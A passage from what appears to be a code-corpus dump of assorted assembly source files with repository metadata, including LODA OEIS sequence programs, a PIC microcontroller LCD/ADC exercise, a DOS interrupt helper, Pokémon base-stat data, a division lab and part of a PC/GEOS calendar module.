] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/174/A174446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/174/A174446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A174446: Triangle T(n, k, q) = ceiling(binomial(n, k)/f(n, q)) with T(0, 0) = 1, f(n, q) = 1 + tanh((n-1)/q), and q = 1, read by rows.
; 1,1,1,1,2,1,1,2,2,1,1,3,4,3,1,1,3,6,6,3,1,1,4,8,11,8,4,1,1,4,11,18,18,11,4,1,1,5,15,29,36,29,15,5,1,1,5,19,43,64,64,43,19,5,1,1,6,23,61,106,127,106,61,23,6,1,1,6,28,83,166,232,232,166,83,28,6,1
seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n.
div $0,2
add $0,1
| 64.571429 | 195 | 0.557522 |
16f706da49c003af7dba98e9730b1fa4a3d7e5bb | 477 | asm | Assembly | programs/oeis/087/A087739.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/087/A087739.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/087/A087739.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A087739: a(1)=1; a(2)=2; for n>2 a(n) satisfies a(S(n))=n and a(k)=n-1 for S(n-1)< k <S(n) where S(n)=a(1)+a(2)+...+a(n).
; 1,2,2,2,3,3,4,4,4,5,5,5,6,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,9,10,10,10,10,10,11,11,11,11,11,12,12,12,12,12,12,13,13,13,13,13,13,14,14,14,14,14,14,15,15,15,15,15,15,16,16,16,16,16,16,16,17,17,17,17,17,17,17,18,18
lpb $0,1
sub $0,2
mov $1,$0
cal $1,163563 ; n occurs 1+a(n) times starting with a(1)=1.
add $2,$1
mov $0,$2
sub $0,1
lpe
add $1,1
| 36.692308 | 209 | 0.563941 |
ce645045110b913c240f55b9edf436f3f24559f1 | 2,905 | asm | Assembly | UPC Microcontroladores 2019-2/Semana 6/shawarmalovers.X/chanchopollo.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | 5 | 2019-08-16T14:48:49.000Z | 2022-01-11T12:22:02.000Z | UPC Microcontroladores 2019-2/Semana 6/shawarmalovers.X/chanchopollo.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | null | null | null | UPC Microcontroladores 2019-2/Semana 6/shawarmalovers.X/chanchopollo.asm | tocache/picomones | d9fd1e75fbbd964c5f628940a8e1161c5b6791fd | [
"CC0-1.0"
] | 8 | 2018-10-30T01:17:19.000Z | 2022-01-11T14:35:50.000Z | list p=18f4550
#include "p18f4550.inc"
#include "LCD_LIB.asm"
CONFIG PLLDIV = 1 ; PLL Prescaler Selection bits (No prescale (4 MHz oscillator input drives PLL directly))
CONFIG CPUDIV = OSC1_PLL2 ; System Clock Postscaler Selection bits ([Primary Oscillator Src: /1][96 MHz PLL Src: /2])
CONFIG FOSC = XT_XT ; Oscillator Selection bits (XT oscillator (XT))
CONFIG PWRT = ON ; Power-up Timer Enable bit (PWRT enabled)
CONFIG BOR = OFF ; Brown-out Reset Enable bits (Brown-out Reset disabled in hardware and software)
CONFIG BORV = 3 ; Brown-out Reset Voltage bits (Minimum setting 2.05V)
CONFIG WDT = OFF ; Watchdog Timer Enable bit (WDT disabled (control is placed on the SWDTEN bit))
CONFIG WDTPS = 32768 ; Watchdog Timer Postscale Select bits (1:32768)
CONFIG CCP2MX = ON ; CCP2 MUX bit (CCP2 input/output is multiplexed with RC1)
CONFIG PBADEN = OFF ; PORTB A/D Enable bit (PORTB<4:0> pins are configured as digital I/O on Reset)
CONFIG MCLRE = ON ; MCLR Pin Enable bit (MCLR pin enabled; RE3 input pin disabled)
CONFIG LVP = OFF ; Single-Supply ICSP Enable bit (Single-Supply ICSP disabled)
org 0x1000
cachanga da "Hello uc-haters "
org 0x1100
picarones da "Canal AN0: "
org 0x0000
goto hambrientos
org 0x0020
hambrientos:
;Configuracion del ADC del micro
;Configuro ADCON2: tiempo de adquisicion y justificacion del resultado (ADFM)
movlw 0x24
movwf ADCON2
;Configuro ADCON1: determinar los puertos analogicos y voltajes de referencia
movlw 0x0E
movwf ADCON1
;Confoguro ADCON0: determino el canal que voy a leer y la activacion del modulo ADC
movlw 0x01
movwf ADCON0
;Configuracion del LCD
movlw 0x08
movwf TRISD
call DELAY15MSEG
call LCD_CONFIG
call BORRAR_LCD
call CURSOR_HOME
call CURSOR_OFF
visfirstlain:
;Apuntar el TBLPTR hacia cachanga
movlw LOW cachanga
movwf TBLPTRL
movlw HIGH cachanga
movwf TBLPTRH
bucle1:
TBLRD*+
movf TABLAT, W
call ENVIA_CHAR
movlw .15
cpfseq TBLPTRL
goto bucle1
vissecondlain:
movlw .0
call POS_CUR_FIL2
;Apuntar el TBLPTR hacia picarones
movlw LOW picarones
movwf TBLPTRL
movlw HIGH picarones
movwf TBLPTRH
bucle2:
TBLRD*+
movf TABLAT, W
call ENVIA_CHAR
movlw .11
cpfseq TBLPTRL
goto bucle2
lecturadc:
bsf ADCON0, 1 ;Inicio la conversion en AN0
aunno:
btfsc ADCON0, 1 ;Pregunto si ya termino de convertir
goto aunno
movf ADRESH, W
call BIN_BCD
movf BCD2, W
addlw 0x30
call ENVIA_CHAR
movf BCD1, W
addlw 0x30
call ENVIA_CHAR
movf BCD0, W
addlw 0x30
call ENVIA_CHAR
goto vissecondlain
;fin:goto fin
end
| 30.904255 | 125 | 0.662306 |
ce91f3c29186bf933b50632aa099a4e77801c221 | 3,686 | asm | Assembly | usr.bin/tn3270/distribution/sys_dos/spintasm.asm | weiss/original-bsd | b44636d7febc9dcf553118bd320571864188351d | [
"Unlicense"
] | 114 | 2015-01-18T22:55:52.000Z | 2022-02-17T10:45:02.000Z | usr.bin/tn3270/distribution/sys_dos/spintasm.asm | JamesLinus/original-bsd | b44636d7febc9dcf553118bd320571864188351d | [
"Unlicense"
] | null | null | null | usr.bin/tn3270/distribution/sys_dos/spintasm.asm | JamesLinus/original-bsd | b44636d7febc9dcf553118bd320571864188351d | [
"Unlicense"
] | 29 | 2015-11-03T22:05:22.000Z | 2022-02-08T15:36:37.000Z | ; Copyright (c) 1988, 1993
; The Regents of the University of California. All rights reserved.
;
; %sccs.include.redist.semicolon%
;
; @(#)spintasm.asm 8.1 (Berkeley) 06/06/93
;
; The code in this file complete the spint calls
spint struc
; union REGS
spint_ax dw 1
spint_bx dw 1
spint_cx dw 1
spint_dx dw 1
spint_si dw 1
spint_di dw 1
spint_cflag dw 1
; struct SREGS
spint_es dw 1
spint_cs dw 1
spint_ss dw 1
spint_ds dw 1
; int intno
spint_intno dw 1
; int done
spint_done dw 1
; int rc
spint_rc dw 1
;
spint ends
ENTER MACRO
; Begin enter
push bp
mov bp,sp
push ax
push bx
push cx
push dx
push bp
push di
push si
push ds
push es
pushf
mov cs:start_sp, sp
mov cs:start_ss, ss
; End enter
ENDM
LEAVE MACRO
; Begin leave
cli
mov sp, cs:start_sp
mov ss, cs:start_ss
sti
popf
pop es
pop ds
pop si
pop di
pop bp
pop dx
pop cx
pop bx
pop ax
mov sp,bp
pop bp
ret
; End leave
ENDM
GETREGS MACRO wherefrom
mov si, wherefrom
mov spint_segment, ds
mov spint_offset, si
mov ax, spint_ax[si]
mov bx, spint_bx[si]
mov cx, spint_cx[si]
mov dx, spint_dx[si]
; XXX mov si, spint_si[si]
mov di, spint_di[si]
mov es, spint_es[si]
; Now, need to do DS, SI
push spint_ds[si]
mov si, spint_si[si]
pop ds
ENDM
SETREGS MACRO
mov cs:old_si, si
mov cs:old_ds, ds
mov ds, cs:spint_segment
mov si, cs:spint_offset
mov spint_ax[si], ax
mov spint_bx[si], bx
mov spint_cx[si], cx
mov spint_dx[si], dx
mov spint_si[si], si
mov spint_di[si], di
mov spint_cs[si], cs
mov spint_ds[si], ds
mov spint_es[si], es
mov spint_ss[si], ss
; now, need to do SI, DS
mov ax, old_si
mov spint_si[si], ax
mov ax, old_ds
mov spint_ds[si], ax
ENDM
_TEXT segment byte public 'CODE'
_TEXT ends
_DATA segment word public 'DATA'
_DATA ends
CONST segment word public 'CONST'
CONST ends
_BSS segment word public 'BSS'
_BSS ends
DGROUP group CONST, _BSS, _DATA
assume cs:_TEXT, ds:DGROUP, ss:DGROUP, es:DGROUP
_TEXT segment
start_sp dw 1 dup (?) ; For use in our 'longjmp'
start_ss dw 1 dup (?) ; For use in our 'longjmp'
spint_segment dw 1 dup (?) ; Segment of spawn control block
spint_offset dw 1 dup (?) ; Offset of spawn control block
old_si dw 1 dup (?) ; SI of interrupt issuer (temporary)
old_ds dw 1 dup (?) ; DS of interrupt issuer (temporary)
issuer_ss dw 1 dup (?) ; ss of person who called us (permanent)
issuer_sp dw 1 dup (?) ; sp of person who called us (permanent)
int21_stack db 100 dup (?) ; Stack for int21.
;
; _spint_int gets control on an interrupt. It switches the stack
; and does a 'return' from _spint_start.
;
public __spint_int
__spint_int proc near
mov cs:issuer_sp, sp
mov cs:issuer_ss, ss
sti
SETREGS
LEAVE
__spint_int endp
;
; _spint_start issues the dos interrupt after setting up the passed
; registers. When control returns to it, it sets spint->done to non-zero.
;
public __spint_start
__spint_start proc near
ENTER
GETREGS 4[bp]
; Now, switch to a different (short) stack. This is so
; that our games won't mess up the stack int 21 (hardware and,
; possibly, software) stores things on.
cli
mov cs:int21_stack, cs
mov ss, cs:int21_stack
mov sp, offset int21_stack
add sp, (length int21_stack) - 4
sti
int 21H ; Issue DOS interrupt
SETREGS
mov ds, cs:spint_segment
mov si, cs:spint_offset
mov spint_done[si], 1 ; We are done
LEAVE
__spint_start endp
;
; After _spint_int has faked a return from start_spawn, we come here to
; return to the interrupt issuer.
;
public __spint_continue
__spint_continue proc near
ENTER
GETREGS 4[bp]
mov sp, cs:issuer_sp ; Restore SP
mov ss, cs:issuer_ss ; Restore SS
iret
__spint_continue endp
_TEXT ends
end
| 16.237885 | 74 | 0.715952 |
05b93b9b7c3a8d87db0e4f606c35302da31791bc | 760 | asm | Assembly | smsq/java/driver/dv3e.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/driver/dv3e.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/java/driver/dv3e.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; SMSQ/E for built in DV3 drivers (c) T. Tebby / W. Lenerz 2012
; v. 1.01 check for swin
section header
xref smsq_end
xref.l dv3_vers
include dev8_keys_java
header_base
dc.l dv3_base-header_base ; length of header
dc.l 0 ; module length unknown
dc.l smsq_end-dv3_base ; loaded length
dc.l 0 ; checksum
dc.l 0 ; always select
dc.b 1 ; 1 level down
dc.b 0
dc.w smsq_name-*
smsq_name
dc.w nm_end-*-2
dc.b 'JAVA DV3'
nm_end
dc.l dv3_vers
dc.w $200a
section base
xref dv3_init
xref fd_init
xref hd_init
xref dv3_addfd
xref qlf_table
dv3_base
bra.l init
section init
init
jsr dv3_init ; initialise
jsr fd_init
moveq #jte.swin,d0
dc.w jva.trpE
bne.s qlf
jsr hd_init
qlf lea qlf_table,a1
jmp dv3_addfd
end
end
| 14.901961 | 63 | 0.709211 |
cfb71e64cfa3aaa9e021db67198af6f19523e253 | 16 | asm | Assembly | Assembler/tests/optimizations/uninit_read.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 196 | 2018-05-25T11:41:56.000Z | 2022-03-12T05:49:50.000Z | Assembler/tests/optimizations/uninit_read.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 49 | 2018-07-17T15:49:41.000Z | 2021-01-19T11:35:31.000Z | Assembler/tests/optimizations/uninit_read.asm | asifmallik/SCALE-MAMBA | 80db831818b55b7675dd549920b5fb096db4321f | [
"BSD-2-Clause"
] | 90 | 2018-05-25T11:41:42.000Z | 2022-03-23T19:15:10.000Z | addci c0, c1, 2
| 8 | 15 | 0.625 |
05f3383781ce38490e1b476d87c04b2d10e5795a | 897 | asm | Assembly | data/pokemon/base_stats/porygon.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/base_stats/porygon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/base_stats/porygon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 2 | 2021-08-11T19:47:07.000Z | 2022-01-01T07:07:56.000Z | db 0 ; species ID placeholder
db 65, 60, 70, 40, 85, 75
; hp atk def spd sat sdf
db NORMAL, NORMAL ; type
db 45 ; catch rate
db 130 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_UNKNOWN ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/porygon/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_MINERAL, EGG_MINERAL ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm TOXIC, HIDDEN_POWER, SUNNY_DAY, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, FRUSTRATION, SOLARBEAM, IRON_TAIL, THUNDERBOLT, THUNDER, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, SHOCK_WAVE, AERIAL_ACE, FACADE, SECRET_POWER, REST, THIEF, CHARGE_BEAM, ENDURE, RECYCLE, GIGA_IMPACT, FLASH, THUNDER_WAVE, PSYCH_UP, SLEEP_TALK, NATURAL_GIFT, DREAM_EATER, SWAGGER, SUBSTITUTE, TRICK_ROOM, ICY_WIND, LAST_RESORT, SIGNAL_BEAM, SNORE, SWIFT, TRICK, ZEN_HEADBUTT
; end
| 44.85 | 468 | 0.753623 |
14512d2164e9867c40cdb3c7882a7d1fbc95dac1 | 1,446 | asm | Assembly | Lab10/lab10_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 3 | 2021-06-26T14:52:16.000Z | 2021-11-23T03:48:48.000Z | Lab10/lab10_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 1 | 2021-06-26T14:12:21.000Z | 2021-06-26T14:18:54.000Z | Lab10/lab10_2.asm | richardhyy/AssemblyLab | 7e0ba3800f3db1e2f5d616ca89905963d1da0996 | [
"MIT"
] | 4 | 2021-11-30T06:06:08.000Z | 2022-03-16T03:55:42.000Z | ; Lab 10
; name: divdw
; func: Do division that will not overflow.
; args: (ax) = dword, lower part of dividend
; (dx) = dword, higher part of dividend
; (cx) = divisor
; ret: (ax) = lower part of the quotient
; (dx) = higher part of the quotient
; (cx) = remainder
assume cs:code
data segment
dd 0,0,0,0
dd 0,0,0,0
data ends
stack segment
dd 0,0
stack ends
code segment
start: mov ax,data
mov ds,ax
mov ax,stack
mov ss,ax
mov sp,10H
mov ax,4241H ; sample data begins
mov dx,000FH ; >> Different from what is given in the textbook, the lower part of the dividend is 4241H instead of 4240H
mov cx,0AH ; sample data ends
call divdw
mov ax,4c00H
int 21h
divdw: push bx
mov bx,0
push [bx+0]
push [bx+2]
push [bx+4]
push [bx+6]
push [bx+8]
push [bx+10]
mov [bx+0],ax ; dividend (lower)
mov [bx+2],dx ; dividend (higher)
mov [bx+4],cx ; divisor
mov dx,0
mov ax,[bx+2]
div cx
mov [bx+6],dx ; remainder of lhs H/N
add ax,ax
mov cx,8000H
mul cx
mov [bx+8],ax ; lower part of the lhs result
mov [bx+10],dx ; higher part of the lhs result
mov ax,[bx+6]
add ax,ax
mov cx,8000H
mul cx
add ax,[bx+0]
div word ptr [bx+4]
mov [bx+6],dx ; remainder
add [bx+8],ax
mov ax,[bx+8]
mov dx,[bx+10]
mov cx,[bx+6]
mov bx,0
pop [bx+10]
pop [bx+8]
pop [bx+6]
pop [bx+4]
pop [bx+2]
pop [bx+0]
pop bx
ret
code ends
end start | 16.247191 | 123 | 0.609959 |
5140dc69a0bd2d8fb430f81c168411d25dff61d9 | 599 | asm | Assembly | oeis/313/A313057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/313/A313057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/313/A313057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A313057: Coordination sequence Gal.6.132.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Simon Strandgaard
; 1,4,9,14,18,23,28,33,38,42,47,52,56,60,65,70,74,79,84,89,94,98,103,108,112,116,121,126,130,135,140,145,150,154,159,164,168,172,177,182,186,191,196,201,206,210,215,220,224,228
seq $0,314254 ; Coordination sequence Gal.6.628.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mul $0,4
add $0,2
div $0,5
| 66.555556 | 182 | 0.751252 |
afccf31d19926863afa281c75080e712cfafa361 | 295 | asm | Assembly | src/boot/print_pm.asm | C-McKinley/ColbyOS | e361781dfc293855c02d8ac66883d104f8309917 | [
"MIT"
] | null | null | null | src/boot/print_pm.asm | C-McKinley/ColbyOS | e361781dfc293855c02d8ac66883d104f8309917 | [
"MIT"
] | null | null | null | src/boot/print_pm.asm | C-McKinley/ColbyOS | e361781dfc293855c02d8ac66883d104f8309917 | [
"MIT"
] | null | null | null | [bits 32]
VIDEO_MEMORY equ 0xb800
WHITE_ON_BLACK equ 0x0f
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx]
mov ah, WHITE_ON_BLACK
cmp al, 0
je done
mov [edx], ax
add ebx, 1
add edx, 2
jmp print_string_pm_loop
print_string_pm_done:
popa
ret
| 11.346154 | 25 | 0.735593 |
e98356d1396ddb7ea5a31f362763cda24dae6cc4 | 333 | asm | Assembly | oeis/021/A021735.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021735.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021735.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021735: Decimal expansion of 1/731.
; Submitted by Jamie Morken(s1.)
; 0,0,1,3,6,7,9,8,9,0,5,6,0,8,7,5,5,1,2,9,9,5,8,9,6,0,3,2,8,3,1,7,3,7,3,4,6,1,0,1,2,3,1,1,9,0,1,5,0,4,7,8,7,9,6,1,6,9,6,3,0,6,4,2,9,5,4,8,5,6,3,6,1,1,4,9,1,1,0,8,0,7,1,1,3,5,4,3,0,9,1,6,5,5,2,6,6,7,5
add $0,1
mov $2,10
pow $2,$0
div $2,731
mov $0,$2
mod $0,10
| 30.272727 | 199 | 0.558559 |
f9c4966e76afe2667607cf629670e704b7684c52 | 9,720 | asm | Assembly | Appl/Calendar/Repeat/repeatDynamic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Calendar/Repeat/repeatDynamic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Calendar/Repeat/repeatDynamic.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Calendar/Repeat
FILE: repeatDynamic.asm
AUTHOR: Don Reeves, February 10, 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/10/90 Initial revision
DESCRIPTION:
Respond to all actions involving the RepeatDynamicList.
$Id: repeatDynamic.asm,v 1.1 97/04/04 14:48:47 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
idata segment
RDCurrentSelect word -1 ; the current select item
idata ends
udata segment
repeatChangeIndex word ; the current index value
repeatEvents byte ; true if there are any events
udata ends
RepeatCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatGetEventMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Creates & returns a moniker to represent a RepeatEvent
CALLED BY: UI (MSG_LIST_REQUEST_ENTRY_MONIKER)
PASS: DS = DGroup
CX:DX = RepeatDynamicList block:handle
BP = Entry # of requested moniker
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/9/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatGetEventMoniker proc far
; Access the requested RepeatStruct
;
mov si, dx ; GenDynamicList chunk => SI
mov ax, ds:[repeatMapGroup] ; get the RepeatMap group #
mov di, ds:[repeatMapItem] ; get the RepeatMap item #
tst ax ; a repeat map group ??
jz emptyMoniker ; no, so display emtpy moniker
call GP_DBLockDerefDI ; lock the map
tst es:[di].RMH_numItems ; any events ??
jnz regularMoniker ; create a regular moniker
call DBUnlock ; else unlock RepeatMap
; Create a "No Repeat Events" moniker
emptyMoniker:
mov bx, handle DataBlock ; string resource handle => BX
call MemLock ; segment => AX
mov es, ax
assume es:DataBlock
mov dx, es:[noRepeats] ; string => ES:DX
assume es:nothing
clr ax ; know what to unlock...
jmp sendMoniker ; send of the moniker
; Access the correct block
regularMoniker:
EC < cmp bp, es:[di].RMH_numItems ; check number of items >
EC < ERROR_GE GET_REPEAT_EVENT_MONIKER_BAD_EVENT_NUM >
mov bx, bp ; Entry number => BX
shl bx, 1
shl bx, 1 ; Size RMS = 4 bytes
add bx, size RepeatMapHeader ; total offset => BX
EC < cmp bx, es:[di].RMH_size >
EC < ERROR_GE GET_REPEAT_EVENT_MONIKER_BAD_SIZE >
mov di, es:[di][bx].RMS_item ; RepeatStruct item => DI
call DBUnlock ; Unlock the RepeatMap
call GP_DBLockDerefDI ; lock the RepeatStruct
mov dx, di ; dereference the handle
add dx, offset RES_data ; string => ES:DX
; Now set the moniker
sendMoniker:
push ax ; save clean-up flag
mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT
mov cx, es ; string => CX:DX
call ObjMessage_repeat_call ; send message to list
pop cx ; unlock "boolean" => CX
; Now clean up and exit. If CX=0, unlock DB block. Else unlock strings.
;
jcxz noRepeatDone ; if none, unlock string block
call DBUnlock ; unlock database segment
jmp done ; and exit...
noRepeatDone:
mov bx, handle DataBlock ; string resource handle => BX
call MemUnlock ; unlock the block
done:
ret
RepeatGetEventMoniker endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatSelectEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Respond to different RepeatEvents (List Entries) being
selected, and enabling/disabling the Change & Delete triggers
CALLED BY: UI (MSG_REPEAT_SELECT_EVENT)
PASS: DS, ES = DGroup
CX = New entry number
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/10/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatSelectEvent proc far
; Store the new entry number, and disable/enable the triggers
;
mov ax, MSG_GEN_SET_NOT_ENABLED ; assumme disable triggers
cmp ds:[repeatEvents], FALSE ; are there any events??
je setState ; if not, do nothing
mov bx, cx ; new entry to BX
xchg cx, ds:[RDCurrentSelect] ; swap old/new selections
cmp bx, -1 ; now nothing selected?
je setState ; if so, must disable all
mov ax, MSG_GEN_SET_ENABLED ; else must enable everything
; Now set the triggers either enabled or disabled
setState:
mov si, offset RepeatBlock:RepeatChangeTrigger
call RepeatSetState ; set state of CHANGE trigger
mov si, offset RepeatBlock:RepeatDeleteTrigger
call RepeatSetState ; set state of DELETE trigger
ret
RepeatSelectEvent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatChangeEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Respond to the CHANGE button action
CALLED BY: UI (MSG_REPEAT_CHANGE_EVENT)
PASS: DS, ES = DGroup
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/10/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatChangeEvent proc far
; Obtain the current RepeatStruct
;
call RepeatMapIndexToStruct
mov ds:[repeatChangeIndex], bx ; store the index value
GOTO RepeatChangeEventLow ; open the dialog box
RepeatChangeEvent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatDeleteEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove the currently selected RepeatEvent
CALLED BY: UI (MSG_REPEAT_DELETE_EVENT)
PASS: DS, ES = DGroup
RETURN: Nothing
DESTROYED: TBD
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/11/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RepeatDeleteEvent proc far
; Obtain the correct repeat ID
;
call RepeatMapIndexToStruct
mov cx, bx ; repeat ID => CX
call RepeatDelete ; remove the sucker
; Disable the triggers to prevent spurious delete/change requests
;
mov cx, -1 ; select the -1th entry
clr bp ; pass no flags
GOTO RepeatSelectEvent ; send the "method"
RepeatDeleteEvent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RepeatMapIndexToStruct
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the RepeatStruct corresponding to RDCurrentSelect
CALLED BY: RepeatChangeEvent, RepeatSelectEvent
PASS: DS = DGroup
RETURN: AX = Selected RepeatStruct : group #
DI = Selected RepeatStruct : item #
BX = Selected RepeatStruct : index value
DESTROYED: BP, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 2/11/90 Initial version
